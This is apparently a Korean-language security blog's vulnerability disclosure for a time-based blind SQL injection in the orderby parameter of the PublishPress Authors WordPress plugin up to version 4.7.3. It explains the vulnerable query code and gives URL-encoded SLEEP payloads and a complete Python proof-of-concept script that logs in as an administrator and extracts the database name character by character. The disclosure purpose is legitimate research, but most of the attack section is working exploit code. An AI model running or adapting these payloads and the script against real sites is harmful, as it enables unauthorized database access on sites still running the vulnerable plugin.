Component type
WordPress plugin
Component details
Component name: Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors
Vulnerable version: ≤ 4.7.3
Component slug: publishpress-authors
Component link: https://wordpress.org/plugins/publishpress-authors/
Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors
PublishPress Authors is the best plugin for adding authors, co-authors, multiple authors and guest authors to WordPress posts.
wordpress.org
OWASP 2017: TOP 10
Vulnerability class A3: Injection
Vulnerability type: SQL Injection
Pre-requisite
Administrator
Vulnerability details
👉 Short description
PublishPress Authors 플러그인은 WordPress에서 여러 명의 저자를 추가하고 관리하며, 각 저자의 정보를 표시할 수 있는 기능을 제공한다.
👉 How to reproduce (PoC)
1. PublishPress Authors 플러그인 4.7.3 이하 버전이 활성화된 워드프레스 사이트를 준비한다.
2. Author Categories 페이지로 이동한다.
3. 해당 페이지에는 Name, Plural Name, Slug, Enable Category의 정렬 옵션이 존재하며 클릭 시 URL orderby 변수 값에 설정됨으로써 정렬이 이루어지게 된다.
4. orderby 변수에 아래의 페이로드를 삽입하면 SLEEP 함수가 실행된다.
# (SELECT+IF(1=1,SLEEP(5),2));--+
%28SELECT+IF%281%3D1%2CSLEEP%281%29%2C2%29%29%3B--+
👉 Additional information (optional)
orderby 변수가 GET 요청에 설정되지 않았다면 기본값인 category_order로 정렬되지만 그렇지 않을 경우 사용자 입력값이 쿼리에 동적으로 삽입된다.
sanitize_text_field 함수로 사용자 입력값을 필터링 하는 듯 보이지만 해당 함수는 SQL Injection 방어에 충분하지 않으며 orderby 절에 자리 표시자를 사용할 수 없기 때문에 prepare 함수 또한 무력하다.
// publishpress-authors/src/functions/template-tags.php
function get_ppma_author_categories($args = []) {
global $wpdb;
$default_args = [
'paged' => 1,
'limit' => 20,
'id' => 0,
'slug' => '',
'category_name' => '',
'plural_name' => '',
'search' => '',
'category_status' => '',
'orderby' => 'category_order',
'order' => 'ASC',
'count_only' => false,
'meta_query' => []
];
...
$orderby = sanitize_text_field($args['orderby']);
...
$query .= $wpdb->prepare(
" ORDER BY {$orderby} {$order} LIMIT %d OFFSET %d",
$limit,
$offset
);
$category_results = $wpdb->get_results($query, \\ARRAY_A);
...
}
👉 Attach files (optional)
데이터베이스 이름 추출 과정을 영상으로 시연하였다.
⭐ PoC Code
import requests
import sys
import string
import time
# Target WordPress site URL
TARGET = "<http://localhost:8000>"
# Admin account login credentials
ADMIN_ID = "admin"
ADMIN_PW = "1234"
# Proxy server settings for intercepting requests (e.g., Burp Suite)
# Forward all HTTP and HTTPS requests through the proxy server
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
# Used for time-based Blind SQL Injection delay (in seconds)
SLEEP_TIME = 2
# Logs in to the WordPress site as an admin and returns an authenticated session.
def login_as_admin(id, pw):
session = requests.session()
data = {
"log": id,
"pwd": pw,
"wp-submit": "Log In",
"testcookie": 1
}
response = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
login_cookie_prefix = "wordpress_logged_in"
is_logged_in = False
for cookie in response.cookies.keys():
if login_cookie_prefix in cookie:
is_logged_in = True
break
if is_logged_in:
print(f"[+] Successfully logged in with account admin")
return session
print(f"[-] Login Failed")
sys.exit(1)
# Performs a time-based Blind SQL Injection attack to extract the database name.
def exploit(session):
characters = string.ascii_letters + string.digits + "_"
print("[+] Extracting database length...")
for i in range(1, 65):
params = {
"page": "ppma-author-categories",
"orderby": f"(select+if(length(database())={i},sleep({SLEEP_TIME}),1));-- ",
}
start_time = time.time()
session.get(f'{TARGET}/wp-admin/admin.php', params=params, proxies=proxies)
elapsed_time = time.time() - start_time
if elapsed_time >= SLEEP_TIME:
print(f"[+] Database name length: {i}")
db_length = i
break
else:
print("[-] Failed to determine database name length.")
return None
print("[+] Extracting database name...")
db_name = ''
for i in range(1, db_length + 1):
for char in characters:
params["orderby"] = f"(select+if(ascii(substr(database(),{i},1))={ord(char)},sleep({SLEEP_TIME}),1));-- "
start_time = time.time()
session.post(f'{TARGET}/wp-admin/admin.php', params=params, proxies=proxies)
elapsed_time = time.time() - start_time
if elapsed_time >= SLEEP_TIME:
db_name += char
print(f"[+] Extracted so far: {db_name}")
break
print(f"[+] Extracted database name: {db_name}")
if __name__ == "__main__":
session = login_as_admin(ADMIN_ID, ADMIN_PW)
exploit(session)
'Report > Zero-Day' 카테고리의 다른 글
CVE-2025-26971 (0) | 2025.02.28 |
---|---|
CVE-2025-22662 (0) | 2025.01.30 |